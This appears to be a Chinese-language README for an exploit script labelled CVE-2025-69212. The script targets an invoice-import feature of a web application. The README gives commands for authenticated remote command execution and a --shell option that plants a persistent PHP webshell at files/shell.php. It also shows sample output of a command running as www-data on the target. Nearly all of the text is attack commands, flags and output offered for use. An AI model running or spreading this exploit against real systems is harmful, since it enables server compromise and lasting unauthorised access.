安装依赖:
pip install -r requirements.txt
运行单条命令并打印其输出:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
改为植入持久化 PHP WebShell:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' --shell
| Flag | 描述 |
|---|---|
-u, --url | 目标实例的基础 URL |
-U, --username | 用于认证的用户名 |
-P, --password | 用于认证的密码 |
-c, --command | 要执行的命令,输出保存到 pwn_out.txt |
--shell | 在 files/shell.php 处植入 PHP WebShell,而不是运行单条命令 |
--id-module | 发票导入功能的模块 ID(默认:14) |
--id-plugin | 发票导入功能的插件 ID(默认:48) |
id_module 和 id_plugin 是实例特有的。如果默认值不起作用,请登录目标的 Web 界面,导航到电子发票导入功能,并在浏览器的网络标签页中检查请求参数。
$ python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
[*] Logging in as admin ...
[+] Authenticated.
[*] Building payload to run: id
[*] Uploading exploit ZIP to id_module=14 id_plugin=48 ...
[*] Server responded: HTTP 500 (500 after command execution is expected)
[*] Fetching command output from http://target.com/files/pwn_out.txt ...
[+] Command output:
--------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------------------------------